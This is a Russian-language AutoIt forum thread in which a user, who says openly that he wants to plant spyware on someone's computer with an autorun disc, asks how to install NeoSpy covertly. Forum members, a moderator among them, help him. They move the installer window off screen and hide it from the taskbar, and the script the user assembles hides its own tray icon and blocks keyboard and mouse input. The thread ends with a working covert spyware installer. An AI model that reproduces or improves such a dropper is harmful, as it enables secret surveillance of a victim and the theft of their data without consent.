Что нового

Как скрыть установочные окна при выполнении скрипта???

lecha ustanovshik

Новичок
Сообщения
12
Репутация
0
Помогите пожалуйста сделать установку программы с помощью скрипта невидимым для пользователя.
Код:
Run("neospy.exe") 
$WinTitle = "Установка NeoSpy v3.9" 
WinWaitActive($WinTitle, "Проверить наличие новой версии") 
WinActivate($WinTitle, "Проверить наличие новой версии") 
ControlClick($WinTitle, "", "TBitBtn2") 
ControlClick($WinTitle, "", "TBitBtn2") 
WinWaitActive($WinTitle, "Я принимаю условия данного соглашения") 
WinActivate($WinTitle, "Я принимаю условия данного соглашения") 
Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
Sleep(200) 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
 
WinWaitActive($WinTitle, "Тип установки") 
WinActivate($WinTitle, "Тип установки") 
Send("{TAB}") 
ControlClick($WinTitle, "", "TJvRadioButton1") 
Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
 
$WinTitle = "NeoSpy" 
WinWaitActive($WinTitle, "NeoSpy") 
WinActivate($WinTitle, "NeoSpy") 
Send("{TAB}") 
Send("{SPACE}") 
 
 
$WinTitle = "Автонастройка" 
ControlClick($WinTitle, "", "Button2") 
 
 
$WinTitle = "Установка NeoSpy v3.9" 
WinWaitActive($WinTitle, "Запустить NeoSpy") 
WinActivate($WinTitle, "Запустить NeoSpy") 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
Send("{TAB}") 
Send("{SPACE}")
 

asdf8

Скриптер
Сообщения
564
Репутация
152
Если есть права или обязанности на установку подобного (фактически шпионского) софта, то зачем скрывать окна установки?
 
Автор
L

lecha ustanovshik

Новичок
Сообщения
12
Репутация
0
просто хочу сделать диск с autorun, и дать его одному не хорошему человеку.если можешь помоги сделать чтобы на экране ничего не отображалось при установке.придти к нему домой и установить шпиона я немогу.
 

winstan

Эксплотатор)
Сообщения
406
Репутация
78
Чисто мой мнение.
можно просто разобрать это прогу которую ты устанавливаешь и сделать из того что выкопаешь автоматический пакет установки.
 
Автор
L

lecha ustanovshik

Новичок
Сообщения
12
Репутация
0
я точно немогу сказать чем запакована программа я её распаковал в распакованном виде прога содержит папки и один exe файл при исследование его Autoit V3 Window Info, у него пустой title
и класс TMessageForm.
может ты знаешь как написать скрипт для запуска на такой тип окна.
вот Summary из Window info

>>>> Window <<<<
Title:
Class: TMessageForm
Position: 440, 200
Size: 400, 400
Style: 0x96C80000
ExStyle: 0x00000101
Handle: 0x00020776

>>>> Control <<<<
Class: TMemo
Instance: 1
ClassnameNN: TMemo1
Name:
Advanced (Class): [CLASS:TMemo; INSTANCE:1]
ID: 67450
Text:
Position: 8, 8
Size: 380, 300
ControlClick Coords: 264, 150
Style: 0x54210844
ExStyle: 0x00000200
Handle: 0x0001077A

>>>> Mouse <<<<
Position: 272, 158
Cursor ID: 0
Color: 0xFFFBF0

>>>> StatusBar <<<<

>>>> ToolsBar <<<<

>>>> Visible Text <<<<
Я принимаю условия лицензионного соглашения
Лицензионное соглашение на использование и
распространение программы "NeoSpy".

ВНИМАТЕЛЬНО ПРОЧИТАЙТЕ ЭТО ЛИЦЕНЗИОННОЕ
СОГЛАШЕНИЕ!


Все имущественные и неимущественные права на
программу "NeoSpy" принадлежат компании "Multi-С Labs".
Программа "NeoSpy" поставляется по принципу "As Is" (как
есть). Авторами не предоставляется никаких гарантий,
явных или подразумеваемых. Авторы не несут
ответственности за какой-либо имущественный или
неимущественный вред или убытки, возникающие в связи с
использованием или невозможностью использования
программы.
Запрещается любая доработка, модификация,
декомпиляция, дизассемблирование, reverse engeneering и
т.п. без согласия авторов. Запрещается использование
каких-либо компонентов программы "NeoSpy" отдельно от
самой программы.


!ВНИМАНИЕ!
Мы НИКОГДА не узнаем ничего о Вашем
компьютере.
Все полученные данные будут храниться ТОЛЬКО У ВАС и
могут быть использованы вами в любых легальных целях.
Программа ничего не передаёт в Интернет без Вашего
ведома.


Любой пользователь может использовать только
одну копию продукта в течение 60 дней. После истечения
этого срока Вы обязаны либо зарегистрироваться, либо не
использовать программу NeoSpy для мониторинга. После
регистрации пользователю предоставляется
неэксклюзивная лицензия на использование программы на
неограниченный срок в любых законных целях. Если Вы
зарегистрировали программу во время льготного периода,
то при выходе новых версий программы "NeoSpy"
зарегистрированные во время льготного периода
пользователи могут использовать новые версии программы
бесплатно.
Копия продукта регистрируется и может быть
использована только на одном компьютере.
Незарегистрированная пробная версия "NeoSpy" может
распространяться свободно лишь в том виде, в котором она
поставляется, т.е. без всяких изменений.
Любые другие права, не указанные явно в
настоящем Соглашении, принадлежат авторам.
Если вы согласны со всеми условиями данного
лицензионного соглашения, то можете установить и
использовать данный продукт, в противном случае Вы
обязаны удалить все компоненты данного продукта со своих
носителей информации.


Спасибо за использование нашей программы.


Copyright © Multi-С Labs. All rights reserved.

OK


>>>> Hidden Text <<<<
тоесть мне нужно поставить галочку в пункте "я принимаю лицезионное сообщение" и нажать кнопку "OK"
помоги пожалуйста если можешь
 

VladUs

Скриптер
Сообщения
621
Репутация
181
Могу предложить при установке вынести окно за пределы монитора
Примерно так:
Код:
Run("neospy.exe") 
$WinTitle = "Установка NeoSpy v3.9" 

WinActivate($WinTitle, "Проверить наличие новой версии") 
$hwnd = WinWaitActive($WinTitle, "Проверить наличие новой версии")
WinMove($hwnd ,"",@DesktopWidth + 100, @DesktopHeight+ 100)

ControlClick($WinTitle, "", "TBitBtn2") 
ControlClick($WinTitle, "", "TBitBtn2") 
WinWaitActive($WinTitle, "Я принимаю условия данного соглашения")
WinActivate($WinTitle, "Я принимаю условия данного соглашения") 

Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
Sleep(200) 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 

WinWaitActive($WinTitle, "Тип установки")

WinActivate($WinTitle, "Тип установки") 

Send("{TAB}") 
ControlClick($WinTitle, "", "TJvRadioButton1") 
Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 

$WinTitle = "NeoSpy"
WinWaitActive($WinTitle, "NeoSpy") 
WinActivate($WinTitle, "NeoSpy") 

Send("{TAB}") 
Send("{SPACE}") 
 
$WinTitle = "Автонастройка" 
ControlClick($WinTitle, "", "Button2") 
$WinTitle = "Установка NeoSpy v3.9"
WinWaitActive($WinTitle, "Запустить NeoSpy") 
WinActivate($WinTitle, "Запустить NeoSpy") 

Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
Send("{TAB}") 
Send("{SPACE}")
 
Автор
L

lecha ustanovshik

Новичок
Сообщения
12
Репутация
0
Спасибо Большое
,но первое окно всё равно мелькнуло(но это мелочь).а с панели задач можно убрать(скрыть) вкладку появляющуюся при выполнении скрипта.Для того чтобы в трее не отображался значок скрипта я гдето видел найду,а вот как скрыть на панели?????
а можно в дополнение ещё сделать блокировку нажатия мышки и клавиатуры,что бы пользователь немог случайно прервать выполнение скрипта???
 
Автор
L

lecha ustanovshik

Новичок
Сообщения
12
Репутация
0
не спасибо мышку и клаву сам блокерну и в трее убрал.
осталось только с системной панели убрать,помогите ктонибуть
 

kaster

Мой Аватар, он лучший самый
Команда форума
Глобальный модератор
Сообщения
4 020
Репутация
622
lecha ustanovshik
Код:
WinSetState($WinTitle, @SW_HIDE)
 
Автор
L

lecha ustanovshik

Новичок
Сообщения
12
Репутация
0
а может подскажешь как мне применит
Код:
WinSetState($WinTitle, @SW_HIDE)

в моём коде
Код:
AutoItSetOption("TrayIconHide", 1)
BlockInput ( 1 )
Run("neospy.exe") 
$WinTitle = "Установка NeoSpy v3.9" 

WinActivate($WinTitle, "Проверить наличие новой версии") 
$hwnd = WinWaitActive($WinTitle, "Проверить наличие новой версии")
WinMove($hwnd ,"",@DesktopWidth + 100, @DesktopHeight+ 100)

ControlClick($WinTitle, "", "TBitBtn2") 
ControlClick($WinTitle, "", "TBitBtn2") 
WinWaitActive($WinTitle, "Я принимаю условия данного соглашения")
WinActivate($WinTitle, "Я принимаю условия данного соглашения") 

Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
Sleep(200) 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 

WinWaitActive($WinTitle, "Тип установки")

WinActivate($WinTitle, "Тип установки") 

Send("{TAB}") 
ControlClick($WinTitle, "", "TJvRadioButton1") 
Send("{TAB}") 
Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 

$WinTitle = "NeoSpy"
WinWaitActive($WinTitle, "NeoSpy") 
WinActivate($WinTitle, "NeoSpy") 

Send("{TAB}") 
Send("{SPACE}") 
 
$WinTitle = "Автонастройка" 
ControlClick($WinTitle, "", "Button2") 
$WinTitle = "Установка NeoSpy v3.9"
WinWaitActive($WinTitle, "Запустить NeoSpy") 
WinActivate($WinTitle, "Запустить NeoSpy") 

Send("{TAB}") 
Send("{TAB}") 
Send("{SPACE}") 
Send("{TAB}") 
Send("{SPACE}")
Exit
 

VladUs

Скриптер
Сообщения
621
Репутация
181
lecha ustanovshik [?]
а может подскажешь как мне применит
Во - первых строчка кода которую дал Kaster немного неверна.
Должно быть
Код:
WinSetState($WinTitle, "", @SW_HIDE)

А во - вторых это тебе не поможет.
Здесь необходимо менять стиль окна...
 

kaster

Мой Аватар, он лучший самый
Команда форума
Глобальный модератор
Сообщения
4 020
Репутация
622
VladUs [?]
строчка кода которую дал Kaster немного неверна.
да
А во - вторых это тебе не поможет.
почему это? скрытые окна пропадают ото всюду. в том числе из панели задач.
я бы вообще, все сделал через скрытое окно. только не уверен, что там с элементами управления в скрытом режиме.
 

proon

Новичок
Сообщения
1
Репутация
0
Ребят а куда этот скрипт подсовывать?! Плис опишите подробней я дилетант не обсессуте
 
Верх